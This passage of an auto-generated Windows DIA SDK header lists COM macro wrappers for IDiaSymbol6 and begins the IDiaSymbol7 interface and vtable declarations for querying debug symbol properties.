( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol6_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol6_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol6_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol6_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol6_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol6_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol6_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol6_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol6_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol6_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol6_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol6_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol6_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol6_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol6_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol6_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol6_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol6_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol6_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol6_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol6_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol6_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol6_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol6_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol6_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol6_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol6_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol6_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol6_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol6_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol6_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol6_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol6_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol6_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol6_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol6_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol6_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol6_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol6_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol6_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol6_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol6_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol6_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol6_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol6_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol6_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol6_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol6_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol6_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol6_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol6_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol6_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol6_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol6_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol6_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol6_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol6_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol6_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol6_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol6_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol6_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol6_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol6_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol6_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol6_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol6_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol6_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol6_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol6_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol6_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol6_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol6_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol6_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol6_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol6_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol6_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol6_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol6_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol6_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol6_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol6_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol6_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol6_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol6_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol6_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol6_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol6_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol6_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol6_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol6_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol6_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol6_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol6_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol6_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol6_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol6_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol6_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol6_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol6_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol6_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol6_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol6_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol6_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol6_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol6_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol6_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol6_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol6_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol6_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol6_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol6_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol6_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol6_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol6_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol6_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol6_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol6_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol6_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol6_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol6_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol6_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol6_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol6_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol6_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol6_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol6_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol6_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol6_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol6_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol6_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol6_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol6_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol6_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol6_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol6_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol6_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol6_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol6_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol6_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol6_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol6_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol6_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol6_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol6_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol6_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol6_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol6_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol6_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol6_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol6_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol6_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol6_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol6_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol6_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol6_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol6_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol6_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol6_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol6_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #define IDiaSymbol6_get_noexcept(This,pRetVal) \ ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) #define IDiaSymbol6_get_hasAbsoluteAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) #define IDiaSymbol6_get_isStaticMemberFunc(This,pRetVal) \ ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol6_get_isStaticMemberFunc_Proxy( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol6_get_isStaticMemberFunc_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol6_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol7_INTERFACE_DEFINED__ #define __IDiaSymbol7_INTERFACE_DEFINED__ /* interface IDiaSymbol7 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol7; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("64ce6cd5-7315-4328-86d6-10e303e010b4") IDiaSymbol7 : public IDiaSymbol6 { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isSignRet( /* [retval][out] */ BOOL *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol7Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol7 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol7 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol7 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol7 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol7 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol7 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol7 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol7 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol7 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol7 * This, /* [retval][out] */ DWORD *pRetVal); /* 